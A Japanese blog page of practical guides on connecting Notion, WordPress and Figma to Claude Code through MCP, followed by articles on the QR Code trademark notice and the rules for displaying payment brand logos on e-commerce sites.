結論として、これから導入するならリモート版（mcp.notion.com＋OAuth）一択です。古い解説記事にあるインテグレーショントークンの発行手順は旧ルートなので、「トークンを発行して環境変数に設定」から始まる手順を見たら、リモート版の手順（本記事の2ステップ）に読み替えてください。 NotionとClaude Codeの連携に関するFAQ Q. Notion MCPは無料プランでも使えますか？ 接続自体のプラン条件は公式に明記されていません。確定しているのは機能ごとの条件で、Notion AIなしでは検索がワークスペース内のみ、複数データソースの一括クエリはEnterprise＋Notion AI、議事録クエリはBusiness以上＋Notion AIが必要です。まず自分のプランで接続し、使いたい機能が動くかを確認するのが確実です。 Q. Claude CodeからNotionのどこまで見えますか？ 接続したユーザーがアクセスできる範囲すべてです。公式ヘルプが「MCPツールは接続ユーザーのNotion権限で動作する」と明記しており、権限を超えた閲覧はできない一方、あなたに見えるものはAIにも見える前提で接続アカウントを選ぶ必要があります。 Q. OSS版のnotion-mcp-serverとどちらを使うべきですか？ 新規導入ならリモート版（mcp.notion.com＋OAuth）が推奨です。OSS版は公式リポジトリ自身が「リモート版を優先サポートし、将来終了の可能性がある」と告知しているため、既存運用がある場合を除いて選ぶ理由はほぼありません。 Q. データベースの集計や横断検索もできますか？ 単一データベースへのクエリはnotion-query-data-sourcesで可能です。複数データソースをまたぐ一括クエリはEnterprise＋Notion AI、Slack・Google Drive等を含む横断検索はNotion AIが条件になるため、チームのプラン構成にあわせて設計してください。 Q. レート制限はありますか？ 公式に明記されているのはnotion-searchの毎分30リクエストです。検索を多用するワークフローでは、対象ページのURLを直接渡して取得系ツールを使う構成にすると制限に当たりにくくなります。 まとめ NotionとClaude Codeの連携は、開発情報の正本をコピペせずにAIワークフローへ組み込む公式ルートです。要点をまとめます。 接続は claude mcp add --transport http notion https://mcp.notion.com/mcp ＋ /mcp のOAuth認可だけ 使い方は「読む（仕様書）・書き戻す（タスクDB）・起こす（議事録→TODO）」の3パターン AIには接続ユーザーの見えるものが全部見える。接続アカウントの権限設計が安全の要 横断検索・複数ソースクエリ等はプランとNotion AIに依存。無料プラン可否は断定情報なし OSS版（トークン認証）は旧ルート。新規はリモート版一択 まずは仕様書1ページを読み込ませて実装させる「読む」パターンから始めると、効果が最短で体感できます。 関連記事もあわせてどうぞ。 Claude CodeのMCP連携ガイド一覧｜対応ツール別まとめ Claude Code上級ガイド｜MCP・Hooks・Skillsの仕組みと設定 FigmaとClaude Codeを連携する方法｜Dev Mode MCPでデザインをコード化 WordPressとClaude Codeを連携する方法｜公式MCP Adapter活用 Notionの使い方入門 ### [WordPressとClaude Codeを連携する方法｜公式MCP Adapterでサイトを操作するワークフロー](https://codequest.work/wordpress-claude-code-mcp-guide/) WordPressとClaude Codeは、WordPress 6.9でコアに搭載された「Abilities API」と、公式プラグイン「MCP Adapter」を使って連携できます。連携すると、Claude CodeがWordPressサイトの機能を発見・実行できるようになり、コンテンツ運用やサイト開発をAIエージェントに任せるワークフローが組めます。 ただし、この分野は2025年末から2026年にかけて足場が大きく入れ替わりました。かつて主流だったAutomattic製の「wordpress-mcp」プラグインは2026年1月にアーカイブされ、現在の公式主経路はWordPress本体のAbilities API＋MCP Adapterです。旧プラグイン前提の解説記事の手順は、いま導入するとそのまま使えません。 この記事では、WordPress公式ドキュメント・公式GitHubリポジトリ・Anthropic公式ドキュメントを中心とする一次情報（いずれも2026年7月確認）を根拠に、現行の接続手順を3つの経路（MCP Adapter・wp-cli・REST API）で整理します。あわせて、AIにサイトを触らせるうえで欠かせないセキュリティ設計と、旧仕様との違いもまとめます。 WordPressとClaude Codeを連携する3つの経路 Claude CodeからWordPressを操作する経路は、大きく3つあります。それぞれ仕組みと向き不向きが違うので、先に全体像を押さえておきましょう。 経路仕組み向いている場面① MCP Adapter（主経路）WordPress 6.9のAbilities APIをMCPで公開する公式プラグイン。Claude Codeがサイトの機能を「発見して実行」できるAIエージェント連携の標準ルート。今後の拡張もここに集約② wp-cliClaude CodeのBashからwpコマンドを直接実行ローカル環境・SSH接続できるサーバーでの一括操作③ REST API直curl等でWordPress REST APIを叩く（アプリケーションパスワード認証）MCPを使わない最小構成。既存スクリプト資産の流用 本記事は①MCP Adapterを主経路として解説し、②③は代替・併用の経路として手順を示します。3つは排他ではなく、「コンテンツ操作はMCP、サーバー作業はwp-cli」のような使い分けが実務的です。 Abilities APIとMCP Adapterとは Abilities APIとは、プラグイン・テーマ・WordPressコアが持つ機能を、標準化された機械可読な形式で登録・公開できるようにする基盤システムです。Make WordPress Core（2025年11月10日）で告知され、2025年12月2日リリースのWordPress 6.9でコアに搭載されました。全Webサイトの41.2%がWordPressで動いている（W3Techs・2026年7月時点）ことを踏まえると、「世界で最も普及したCMSがAIエージェント向けの共通口を持った」変化と言えます。 一方のMCP Adapterは、このAbilities APIをMCP（Model Context Protocol）に橋渡しする公式プラグインです。WordPress Developer Blog（2026年2月4日）が明記している通り、MCP機能はコアには含まれず、別プラグインとして導入します。「WordPress本体に組み込まれたのはAbilities APIまで」という線引きは正確に押さえておきましょう。 有効化したMCP Adapterは、サイトの /wp-json/mcp/mcp-adapter-default-server にHTTPエンドポイントを公開し、Claude Codeは discover-abilities（機能一覧）・get-ability-info（詳細取得）・execute-ability（実行）の3ツールでサイトの機能を発見・実行します。MCPそのものの仕組みや設定ファイルの実体は、Claude CodeのMCP・Hooks・Skills活用ガイドで詳しく解説しています。 WordPress 7.0の「AIクライアント」「コネクタ」との関係 コア側のAI基盤は6.9で止まっていません。WordPress 7.0「Armstrong」（2026年5月20日リリース）では、生成AIモデルと通信するAIクライアントがコアに入り、外部AIサービスとの接続を「コネクタ」画面で一元管理できるようになりました。実際の管理画面（7.0.2で確認）では「設定」→「コネクタ」にAnthropic（Claude）・Google・OpenAIの3つがプリセットとして並びます。公式のAIプラグインを足すと、画像の生成・編集、タイトルや抜粋の作成、altテキスト提案などがサイト内で完結します。 本記事のMCP連携とは向きが逆である点に注意してください。コネクタ＋AIプラグインは「WordPressの中からAIを呼ぶ」機能、MCP Adapterは「外のAIエージェント（Claude Code）がWordPressを操作する」仕組みです。どちらもAbilities APIと同じ流れの上にある補完関係で、公式も「AIクライアントとAbilities APIの組み合わせ」を7.0の柱として位置づけています。編集画面での生成支援はコネクタ、開発・運用の自動化はMCP連携、と使い分けるのが現在地です。 事前準備：バージョン要件と認証 MCP Adapter経路で必要な準備は次の3点です。 WordPress 6.9以上・PHP 7.4以上のサイト（MCP Adapter v0.5.0時点の公式要件。2026年7月時点の最新は7.0.2なので、通常どおり更新していれば要件は満たしています） HTTPSで配信されているサイトURL（認証情報を送るため必須） アプリケーションパスワード（管理画面のユーザー編集画面から発行） 認証にはWordPress 5.6以降標準のアプリケーションパスワードを使います。WordPress公式ハンドブック（2026年7月確認）によると、これはBasic認証（RFC 7617）で、認証情報は必ずHTTPS経由で送信します。発行したパスワードは通常のログインパスワードとは別物で、いつでも個別に失効できるのがAI連携向きの利点です。 接続手順①：MCP Adapter（主経路） WordPress側の設定は次の3ステップです。 MCP Adapterプラグインを導入・有効化する（公式GitHubのリリースzipから） MCPに公開したいability（機能）を登録・公開設定する 接続用ユーザーのアプリケーションパスワードを発行する プラグイン導入はwp-cliを使うと1行で済みます。 wp plugin install https://github.com/WordPress/mcp-adapter/releases/latest/download/mcp-adapter.zip --activate Claude Code側は、HTTPトランスポートでエンドポイントを登録します。アプリケーションパスワードはBasic認証なので、Authorizationヘッダーには「ユーザー名:アプリケーションパスワード」をbase64エンコードした値を渡します。 # base64値の作成（ユーザー名:アプリケーションパスワード） echo -n "username:xxxx xxxx xxxx xxxx xxxx xxxx" | base64 # Claude CodeにHTTPトランスポートで登録 claude mcp add --transport http wordpress https://example.com/wp-json/mcp/mcp-adapter-default-server --header "Authorization: Basic 上で作成したbase64値" ここで1つ重要な注意があります。Anthropic公式ドキュメントの --header サンプルには「Authorization: Bearer」形式の例がありますが、あれはOAuth系サービスの例です。WordPressのアプリケーションパスワードはBasic認証なので、Bearerをそのまま流用すると認証に失敗します（旧Automatticプラグインの解説記事はJWT＝Bearer前提のものが多く、混同しやすいポイントです）。なお、この組み合わせの完成サンプルは公式ドキュメントにまだ無いため、上記は公式仕様（アプリケーションパスワード＝Basic認証）からの組み立てです。導入時はテスト環境での動作確認をおすすめします。 接続手順②：wp-cli（Bash経由） ローカル開発環境（Local・Dockerなど）やSSHで入れるサーバーなら、MCPを介さずClaude CodeのBashツールからwp-cliを直接叩くのが最短です。wp-cliはWordPress公式のコマンドラインツールで、「The command line for WordPress. No browser required.」（wordpress.org/cli）と定義されています。 # 投稿一覧 wp post list --post_type=post --post_status=publish # 下書き作成 wp post create --post_title="タイトル" --post_status=draft # 既存投稿の更新 wp post update 123 --post_title="新しいタイトル" # メディアの取り込み wp media import ./image.png --title="画像タイトル" Claude Codeに「wp-cliでこのサイトの下書き一覧を出して」と指示すれば、コマンドの組み立てから実行・結果整理まで一気に行われます。テーマ開発の実務（テンプレート階層やfunctions.phpの構成）とあわせて進めたい方は、WordPress開発ガイドまとめのクラスタが土台として役立ちます。 接続手順③：REST APIを直接叩く MCPもwp-cliも使わない最小構成が、REST APIをcurlで直接叩く方法です。認証は同じくアプリケーションパスワードで、公式ハンドブックのサンプルはこの形です。 curl --user "USERNAME:APP_PASSWORD" https://example.com/wp-json/wp/v2/users?context=edit Claude CodeはBashからcurlを実行できるので、この経路でも投稿の取得・作成・更新は一通り可能です。リモートの本番サイトを扱う場合、実は「REST API＋アプリケーションパスワード」が最も枯れていて情報も多い経路です。MCP Adapterがまだ若い（v0.5.0）ことを考えると、安定運用重視ならこの経路から始めて、MCPには段階的に移行する判断も現実的です。 実践ワークフロー：記事運用を任せてみる 接続できたら、まずはリスクの低いコンテンツ運用から任せるのが定石です。代表的なワークフローは次の流れです。 Claude Codeに記事ドラフト（HTML）を生成させる 下書きステータスでWordPressに投入させる（公開はしない） 人間が管理画面でレビューして公開する 慣れてきたら既存記事の一括メンテナンス（内部リンク追加・メタ情報更新など）に広げる プロンプトの例です。「公開までさせない」境界を明示するのがポイントです。 この構成案をもとに記事ドラフトを作り、WordPressに下書きとして投入してください。 ### [FigmaとClaude Codeを連携する方法｜Dev Mode MCPでデザインをコード化するワークフロー](https://codequest.work/figma-claude-code-mcp-guide/) FigmaとClaude Codeは、Figma公式の「Dev Mode MCPサーバー」を使って連携できます。連携すると、Claude CodeがFigma上のデザインを直接読み取り、レイアウト・色・タイポグラフィを反映したReact＋Tailwindなどの実装コードを生成できるようになります。 ただし、この連携方法はここ1年で仕様が大きく変わりました。「デスクトップアプリ必須」「get_codeツールを使う」と書かれた解説記事は旧仕様のままで、2026年現在の推奨はリモートMCPサーバー（デスクトップアプリ不要）です。古い手順のまま設定すると、接続できずにつまずきます。 この記事では、Figma公式ドキュメントとAnthropic公式ドキュメント（いずれも2026年7月確認）だけを根拠に、接続コマンド・必要なプラン・実践ワークフロー・旧仕様との違いまでを整理します。読み終える頃には、自分の環境でFigmaデザインをClaude Codeに読ませてコード化できる状態になります。 Figma Dev Mode MCPサーバーとは Figma Dev Mode MCPサーバーとは、FigmaのデザインデータをMCP（Model Context Protocol）経由でAIコーディングツールに渡すための公式サーバーです。Figma公式ブログ（2025年6月4日）で公開ベータとして発表され、Claude Codeのほか、VS Code（Copilot）・Cursor・Windsurfなどのエージェント型コーディングツールに対応しています。 2026年7月時点でもベータ扱いは続いており、Figma開発者ドキュメントには「ベータ期間中は無料。将来的に従量課金の有料機能になる予定」と明記されています。正式GA（一般提供）の宣言はまだ出ていないため、料金体系は今後変わる可能性があります。 なお、開発者側の需要は公式データにも表れています。Figma公式のConfig 2025プレスリリース（2025年5月7日）によると、2024年第4四半期時点で月間アクティブユーザーの約3分の2がデザイナー以外の職種で、そのうち約30%が開発者を自認しています。デザインツールであるFigmaに「実装者向けの出口」を作るのがDev Mode MCPサーバーの位置づけです。 Code Connect・Figma Makeとの違い Figmaには似た名前のAI・開発者向け機能が複数あり、混同しやすいので先に整理します。 機能役割本記事との関係Dev Mode MCPサーバーデザイン文脈をClaude Code等のAIツールに渡す仕組み本記事の主題Code Connect自リポジトリの実装済みコンポーネントをFigmaに紐付け、自動生成コードの代わりに実コードを表示する仕組みMCP連携の精度向上に利用（後述）Figma Makeテキスト説明や既存デザインから動くプロトタイプ／アプリを生成するAIツール別プロダクト。Claude Code連携とは独立 MCPそのものの仕組み（サーバーの種類・scope・設定ファイルの実体）は、Claude CodeのMCP・Hooks・Skills活用ガイドで詳しく解説しています。MCPに初めて触れる方はあわせて読むと理解が早くなります。 連携でできること 連携すると、Claude CodeはFigmaのMCPサーバーが公開するツール群を呼び出せるようになります。Figma開発者ドキュメント（2026年7月確認）に掲載されているツールは全部で23種類あり、実務でよく使うのは次の8つです。 ツール名できることget_design_context選択したフレームのデザイン文脈を取得してコード生成（デフォルト出力はReact＋Tailwind）get_screenshot選択範囲のスクリーンショットを取得（生成結果の見た目検証に使う）get_variable_defsカラー・スペーシング等の変数／スタイル定義を取得get_metadataレイヤーのID・名前・型・位置・サイズをXMLで取得download_assets画像・SVGなどのアセットをダウンロードget_code_connect_mapCode Connectで紐付けた実装コンポーネントとの対応表を取得generate_figma_design逆方向：コードや指示からFigmaデザインを生成whoami認証中のアカウント情報を確認 中心になるのはget_design_contextです。Figma開発者ドキュメント（2026年7月確認）によると、get_design_contextが生成するコードのデフォルト形式はReact＋Tailwindです。VueやプレーンCSSなど別のスタックで受け取りたい場合は、プロンプトで明示的に指定します（後述の「精度を上げるコツ」参照）。 事前準備：必要なプランとレート制限 連携自体はどのFigmaプランでも試せますが、実用にはシートの種類が重要です。Figma開発者ドキュメント（2026年7月確認）によると、実用的な利用にはDevシートまたはFullシートが必要で、ViewシートとCollabシートは全プラン共通で月6回までしかMCPツールを呼び出せません。 プラン（Dev／Fullシート）1日あたり上限1分あたり上限Starter200回10回Professional200回15回Organization600回20回Enterprise公式表に記載なし公式表に記載なし 1分あたりの制限は1日あたりの制限とは別に適用されます。なお、add_code_connect_map・generate_figma_design・whoamiの3ツールはレート制限の対象外です。準備として必要なものは次の3点だけです。 DevシートまたはFullシートのFigmaアカウント Claude Code（最新版にアップデートしておく） コード化したいFigmaファイルへのアクセス権 Figmaをこれから本格的に使い始める方は、Canva・Figma・STUDIOの違いと使い分けガイドでFigmaの得意分野を先に押さえておくと、デザインデータ側の準備がスムーズです。 接続手順①：リモートMCPサーバー（推奨） 2026年現在の推奨はリモートMCPサーバーです。Figma開発者ドキュメント（2026年7月確認）によると、リモートサーバーは https://mcp.figma.com/mcp で提供され、Figmaデスクトップアプリを入れなくても接続できます。手順は次の3ステップです。 ターミナルで登録コマンドを実行する（Claude Codeのセッション内ではなく、通常のシェルで実行） Claude Codeを起動し /mcp からfigmaを選んで認証する ブラウザで開く認証ページで「Allow access」を押す 登録コマンドは次の1行です。 claude mcp add --transport http figma https://mcp.figma.com/mcp このままだと現在のプロジェクトだけで有効になります。すべてのプロジェクトで使いたい場合は --scope user を付けます。 claude mcp add --scope user --transport http figma https://mcp.figma.com/mcp コマンド実行後にClaude Codeを起動し、スラッシュコマンド /mcp を入力してfigmaを選択し、Authenticateを選ぶとブラウザが開きます。「Allow access」を許可して「Authentication successful. Connected to figma」と表示されれば接続完了です。コマンドの書式（--transport http や scope の考え方）はAnthropic公式のMCPクイックスタート（2026年7月確認）に準拠しています。 プラグイン経由で導入する方法 Figmaヘルプ（2026年7月確認）では、Claude Codeの公式プラグインとして導入する方法も案内されています。この場合は次のコマンドを使います。 claude plugin install figma@claude-plugins-official 導入後は /plugin コマンドのInstalledタブからfigmaを選び、Enterで認証フローに進みます。どちらの方法でも接続結果は同じなので、MCPを個別管理したい方はclaude mcp add、プラグインでまとめて管理したい方はplugin installを選べば問題ありません。 接続手順②：デスクトップ（ローカル）サーバー Figmaデスクトップアプリを使ったローカルサーバー経由の接続も引き続き利用できます。Figma開発者ドキュメント（2026年7月確認）によると、ローカルサーバーは http://127.0.0.1:3845/mcp で動作します。手順は次のとおりです。 FigmaデスクトップアプリでDev Modeを開く（ショートカットはShift+D） インスペクトパネルの「MCP server」欄で「Enable desktop MCP server」を有効化する ターミナルで登録コマンドを実行する claude mcp add --transport http figma-desktop http://127.0.0.1:3845/mcp リモートとデスクトップの使い分けの基準は次のとおりです。迷ったらリモートで問題ありません。 項目リモート（推奨）デスクトップデスクトップアプリ不要必須（起動中のみ動作）対象の指定方法フレームへのリンク（URL）を渡すアプリ上の選択範囲がそのまま対象向いている人ブラウザ版Figma利用者・チーム共有リンクで作業する人Figmaアプリを常時開いてデザインを見ながら実装する人 実践ワークフロー：デザインをコードにするまで 接続できたら、実際にデザインをコード化してみます。リモートサーバーの場合、対象の指定は「フレームやレイヤーへのリンク」で行います。ワークフローは次の5ステップです。 Figmaでコード化したいフレームを右クリックし「Copy link to selection」でリンクをコピーする（node ID付きURLが取れる） Claude Codeのプロンプトにリンクを貼り、実装指示を書く Claude Codeがget_design_contextを呼び、デザイン文脈からコードを生成する get_screenshotで元デザインのスクリーンショットを取らせ、生成結果と見た目を突き合わせる プロジェクトの既存コンポーネント・命名規則に合わせてリファクタリングを指示する プロンプトの例を挙げます。リンクと一緒に、スタック・ファイルの置き場所・既存規約を伝えるのがポイントです。 このFigmaフレームを実装してください。 https://www.figma.com/design/xxxx?node-id=123-456 - Next.js（App Router）+ TypeScript + Tailwind - components/pricing/PricingCard.tsx として作成 - 色とスペーシングはFigmaの変数定義（get_variable_defs）を参照して tailwind.config の既存トークンにマッピングすること - 実装後、get_screenshot で元デザインと見た目を比較して差分を報告すること 生成されたコードは「一発で完成」ではなく「精度の高い下書き」と考えるのが実務的です。生成→スクリーンショット比較→修正指示のループを1〜2回回すと、手書きよりはるかに速く元デザインに寄せられます。 ### [「QRコード」表記の商標ルール｜®だけでは足りない・登録商標文の正しい書き方](https://codequest.work/qr-code-trademark-guideline/) 「QRコード」は株式会社デンソーウェーブの登録商標です。Webサイトや印刷物でこの名称を使う場合は、®マークを付けるだけでは足りず、登録商標文の掲載が求められます。逆に言えば、正しい一文を載せれば利用の事前手続きは不要です。 QRコードは今やあらゆるサイト・チラシ・パッケージに載っていますが、「QRコード」という名称が商標であることを意識して表記している制作物は多くありません。「®を付けておけば大丈夫」「フッターに1回書けばサイト全体をカバーできる」——どちらもよくある誤解です。 この記事では、権利者であるデンソーウェーブの公式FAQを直接確認し、そのままコピペできる正しい登録商標文（和文・英文）と、掲載する場所のルールを整理します。Web制作者・印刷物のデザイナー・EC運営者に共通で関わる内容です。 結論｜登録商標文を載せれば利用手続きは不要 デンソーウェーブの公式FAQは、「QRコード」という名称の利用条件を明快に示しています。登録商標文を掲載すれば、名称の利用にあたって事前の許可申請や手続きは不要です。「商標だから使うには許可がいるのでは」という不安への公式の答えがこれです。 やること要否「QRコード」の名称を使う際の事前申請不要（登録商標文の掲載が条件）登録商標文の掲載必要（名称を使った画面・印刷物ごと）®マークのみの表記不十分（商標文の代わりにならない） 「公式の条件に従えば自由に使える」という構図は、ストアバッジやSNSロゴの掲載ルールと共通です。ブランド資産の扱い全般はSNSロゴをホームページに掲載する前に必ず確認すべきことでも整理しています。 「QRコード」は登録商標｜一般名称ではない QRコードは1994年にデンソー（現デンソーウェーブ）が開発した二次元コードで、「QRコード」「QR Code」の名称は同社の登録商標です。日本国内だけでなく、「QR Code」は米国をはじめ海外でも商標登録されています。 あまりに普及したため一般名称のように感じられますが、法的には商標です。だからこそ権利者は「名称を使うなら、商標であることを明示してほしい」という条件を置いています。その明示の方法が、次のセクションの登録商標文です。規定の一次ソースはデンソーウェーブの商標FAQにまとまっています。 正しい登録商標文｜和文・英文のコピペ用テキスト 公式FAQが示す文言は次のとおりです。社名を含めて、この形のまま使ってください。 QRコードは株式会社デンソーウェーブの登録商標です デンソーウェーブ「登録商標の記載例（和文）」 QR Code is a registered trademark of DENSO WAVE INCORPORATED in Japan and in other countries. デンソーウェーブ「登録商標の記載例（英文）」 ポイントは社名「株式会社デンソーウェーブ」まで含めて書くことです。「QRコードは登録商標です」だけでは誰の商標かが示せず、記載例の形を満たしません。フッターや注釈欄にこの一文を入れるのが実装のスタンダードです。 ®マークだけでは足りない理由 「QRコード®」と®を付ければ商標文の代わりになる——この理解は誤りです。公式FAQは「名称にRマークを追加するだけでよいか」という質問に対して、登録商標であることを明示するために登録商標文の掲載をお願いしていると回答しています。つまり®の有無にかかわらず、求められているのは「文」の掲載です。 ®を付けること自体は禁止されていませんが、®は商標文の省略チケットにはならない——ここを取り違えると、®だけ付けて要件未達という中途半端な状態になります。 どこに載せるか｜「画面・印刷物ごと」が単位 掲載する場所にもルールがあります。公式FAQによると、登録商標文は「QRコード」の名称を利用した画面・印刷物ごとに掲載します。「コーポレートサイトのフッターに1回書いたから、別のLPやチラシは省略してよい」とはなりません。 制作物商標文の扱い「QRコード」と書いたWebページそのページ（画面）に掲載「QRコード」と書いたチラシ・パンフレットその印刷物に掲載名称を使っていない制作物（コード画像のみ等）商標文の要件は「名称を使った場合」が対象 Web実装での現実解は、サイト共通フッターに商標文を入れておくことです。全ページ（＝全画面）に自動で載るため、ページ単位の入れ忘れを構造的に防げます。 書体・サイズのルール｜制限はない 商標文の書体・文字サイズに公式の制限はありません（読みやすい書体・サイズが推奨されています）。注釈として小さめに載せることは問題ありませんが、判読できないほど小さくしては明示の意味がなくなります。フッターの他の注記と同じ扱いで十分です。 英語ページ・多言語サイトでの書き方 英語ページでは前述の英文（QR Code is a registered trademark of DENSO WAVE INCORPORATED in Japan and in other countries.）を使います。では英語以外の言語のページはどうか。公式FAQは、英語以外を母語とする国・地域でも「QR Code」の名称はそのまま使い、現地語に置き換える必要はないとしています。 多言語サイトを構築する場合は、日本語ページに和文、それ以外の言語ページに英文の商標文を置く構成が実務的です。名称部分の翻訳は不要という点だけ押さえておけば迷いません。 よくある誤解パターン よくある理解判定正しい理解「QRコード®」と®を付ければOK誤り®だけでは不十分。登録商標文の掲載が必要商標だから使用許可の申請が必要誤り登録商標文を載せれば利用手続きは不要サイトのどこかに1回書けば全体をカバー誤り名称を使った画面・印刷物ごとに掲載「QRコードは登録商標です」と書けばよい不正確「株式会社デンソーウェーブの」まで含めた記載例の形で書く英語圏以外では名称を現地語に訳す誤り「QR Code」のまま使う（置き換え不要） いずれも「知っていれば1分で正せる」誤解です。アプリ紹介ページなどでQRコードとストアバッジを併載する場面も多いので、App Store・Google Playバッジの掲載ルールもあわせて確認しておくと、ページ全体を規約準拠にできます。 よくある質問 Q. 「QRコード」という言葉を使うたびに許可を取る必要がありますか？ 不要です。デンソーウェーブの公式FAQは、登録商標文を掲載すれば名称の利用手続きは不要としています。必要なのは許可申請ではなく、「QRコードは株式会社デンソーウェーブの登録商標です」という一文を、名称を使った画面・印刷物ごとに載せることです。 Q. ®マークを付ければ登録商標文は省略できますか？ 省略できません。公式FAQは「Rマークの追加だけでよいか」という質問に対し、登録商標であることを明示するために登録商標文の掲載を求めると回答しています。®を付けること自体は問題ありませんが、文の掲載義務の代わりにはなりません。 Q. 登録商標文はサイト全体で1回書けば足りますか？ 足りません。掲載の単位は「QRコード」の名称を利用した画面・印刷物ごとです。Webサイトなら名称を使った各ページに載せる必要があるため、サイト共通フッターに商標文を組み込んで全ページに自動表示させるのが実務的な解決策です。 Q. 商標文の文字サイズや書体に決まりはありますか？ ありません。公式FAQは書体・文字サイズの制限を設けておらず、読みやすい書体・サイズを推奨しているのみです。フッターの注記と同程度の扱いで問題ありませんが、判読できない大きさまで小さくするのは明示の趣旨に反します。 Q. 英語ページではどのように書けばいいですか？ 公式の英文記載例「QR Code is a registered trademark of DENSO WAVE INCORPORATED in Japan and in other countries.」をそのまま使います。「QR Code」は米国でも商標登録されており、英語以外の言語圏でも名称は現地語に置き換えず「QR Code」のまま使用します。 Q. コード画像を載せるだけで「QRコード」と書かない場合も商標文は必要ですか？ 公式FAQが商標文の掲載を求めているのは「QRコード」という名称を利用する場合です。名称を使わずコード画像のみを掲載するケースはこの要件の対象外と読めますが、実務ではコードの近くに「QRコードを読み取ってください」等の説明を添えることが多く、その時点で名称の利用にあたります。迷ったら商標文を入れておくのが安全です。 まとめ 「QRコード」の商標表記ルールは、覚えることが少ない代わりに誤解が多い領域です。①名称は登録商標。②使うなら「QRコードは株式会社デンソーウェーブの登録商標です」の一文を、名称を使った画面・印刷物ごとに載せる。③それさえ守れば利用手続きは不要。④®だけでは足りない。——この4点がすべてです。 実装はサイト共通フッターへの一文追加で完了します。コストほぼゼロで規約準拠になる数少ない施策なので、QRコードを扱うサイト・印刷物では最初から組み込んでおきましょう。 ※本記事は2026年7月時点のデンソーウェーブ公式FAQ（商標に関するよくあるご質問）の記載に基づいています。規定は変更されることがあるため、制作前に必ず公式の最新情報を確認してください。 サイト制作・改修のご相談はRINIAへ ### [決済ブランドロゴのECサイト掲載ルール｜未契約ブランドのロゴ掲載は規約違反です](https://codequest.work/payment-brand-logo-guideline/) 決済ブランドのロゴは、実際に契約しているブランドのものだけを、公式配布のマークで、改変せずに掲載できます。「対応予定だから」「よく見るデザインだから」と未契約ブランドのロゴを並べることは、規約違反として明文で禁止されています。 ECサイトの決済ページやフッターに並ぶVisa・Mastercard・JCB・PayPayのマーク。どのサイトにもあるパーツなのに、「どこから入手するのが正規ルートか」「どこまで加工していいか」を規約ベースで説明できる制作者は多くありません。素材サイトから拾ったロゴをトーン調整して並べる——これで複数の規約に同時に抵触しているケースが実際にあります。 この記事では、Visa・Mastercard・JCB・PayPayの各公式規定を直接確認し、入手先・掲載条件・改変禁止の中身をブランド別に整理します。カート選定や構築費用の話ではなく、「ロゴ掲載の規約」に絞った内容です。 結論｜公式マークのみ・契約ブランドのみ・改変禁止 4ブランドの規定はそれぞれ別の文書ですが、共通する原則は3つに集約できます。 公式配布のマークだけを使う｜素材サイトや他サイトからの流用ではなく、各社の公式配布データを使います。 契約しているブランドだけを表示する｜未契約ブランドのロゴ掲載は禁止と明文化されています。 改変しない｜色・比率・要素の変更、回転、縁取りなどはどのブランドも禁止です。サイズ変更は縦横比固定の拡大縮小のみ認められます。 この構図は、公式アセットの無改変使用を求めるSNSロゴやストアバッジと同じです。ブランド資産の扱い全般はSNSロゴをホームページに掲載する前に必ず確認すべきことで横断的に整理しています。 アクセプタンスマークとは｜「使える決済」を示す公式マーク 決済ページに並べるマークには正式な呼び名があります。アクセプタンスマーク（Acceptance Mark）＝「この決済手段が使える」ことを示すための表示用マークです。たとえばMastercardでは、ブランドロゴから「Mastercard」の文字を除いた2つの円のシンボルを、受け入れ表示に使う場合にアクセプタンスマークと呼ぶと定義しています。 つまり各社が配布しているのは「広告用の自由素材」ではなく、加盟店が受入表示のために使う規約付きの部品です。「デザインの一部」ではなく「決済機能の案内表示」として扱う——この位置づけを押さえると、後述の細かいルールがすべて腑に落ちます。 入手の実務｜JCBの加盟店ロゴページが実質ハブになる 日本のEC事業者にとって実務上の起点になるのは、JCBの加盟店向けロゴダウンロードページです。JCB加盟店であれば、審査で利用可となった契約ブランドについて、JCBだけでなくAmerican Express・Diners Club・Discover・銀聯のクレジットブランド、QUICPayやiDなどの電子マネー、Smart Code・PayPay・d払い・楽天ペイなどのコード決済まで、Webサイト掲載用ロゴを一括で入手できます。 注意点は2つです。第一に、ダウンロードできるのは契約済みブランドのHP掲載用ロゴのみで、印刷物用データは加盟店デスクへの申請が必要です。第二に、ここで入手したロゴも「未契約ブランドの使用禁止・第三者への譲渡禁止・改変禁止」の条件付きです。入手が楽になるだけで、ルールが緩むわけではありません。 なお、どの決済手段を導入するか（カート・決済代行の選定や費用）の話はECサイト構築の費用比較ガイドで扱っています。この記事は「導入済みの決済をどう表示するか」の側です。 Visa｜オンライン加盟店は掲載が「義務」 Visaは他社と少し毛色が違い、掲載が任意ではありません。VisaのPOSグラフィック規定は、Visaを受け入れるすべての物理店舗・オンライン店舗・ATMにVisa POSグラフィックの掲出を求めており、オンライン加盟店はホームページまたはチェックアウトページへの掲載が対象です。「載せてもいい」ではなく「載せる」が基本線です。 入手先｜Visaの加盟店向けブランドページからPNG・SVG・EPS・AI形式でダウンロードできます。 改変禁止｜「Visa提供のアートワークのみを使用し、拡大縮小は可能だが、比率や要素をいかなる形でも変更してはならない」と規定されています。 並び順｜複数ブランドと並べる場合、Visaを先頭に置くことが推奨されています（推奨であって義務ではありません）。 最小サイズ・余白の具体的な数値は、公開Webページには明記されておらず、加盟店向けにダウンロード提供される「Visa Digital Brand Requirements」（2024年4月改訂版）側の資料で確認する形になります。 Mastercard｜受入ブランドのみ表示・最小45px Mastercardのアクセプタンスマークは、同社のBrand Center（要ログインのダウンロードページ）からWeb・アプリ用のPNG/SVG、印刷用のEPS/AIを入手します。表示できるのは実際に受け入れているブランドのマークのみという条件も明記されています。 数値規定は、画面表示の最小サイズが45px、クリアスペースがシンボル内の円1つの幅の1/4以上とされています。ただしこの数値はBrand Center内の記載であり、一般公開ページでは確認できないため、掲載前に加盟店アカウントでBrand Centerの現行値を確認することをおすすめします（本記事の値は2026年7月時点の調査によるものです）。 JCB系ロゴ｜同サイズで並べる・回転も禁止 JCBの加盟店ロゴページには、ダウンロード後の使用条件が具体的に書かれています。ECの実装に直結するのは次の4点です。 改変の全面禁止｜天地左右の比率・デザイン・色・文字の変更や回転はすべて不可。認められるのは縦横比を固定したサイズ変更だけです。 複数ロゴは同じ大きさで｜複数ブランドを並べる場合、全ロゴを同じ大きさに揃えることが求められます。 ブランド別の余白規定｜たとえばiDは他要素との間にロゴ横幅の1/10以上、Smart Codeはシンボル縦幅の0.4倍の余白を四方に確保します。 文中使用の禁止｜ロゴ画像を見出しや文章の中に埋め込む使い方は不可です。 「同じ大きさで並べる」は見落としがちなルールです。デザイン上の強弱をつけたくても、決済マークの列では特定ブランドだけ大きくしない——これが規約側の要求です。 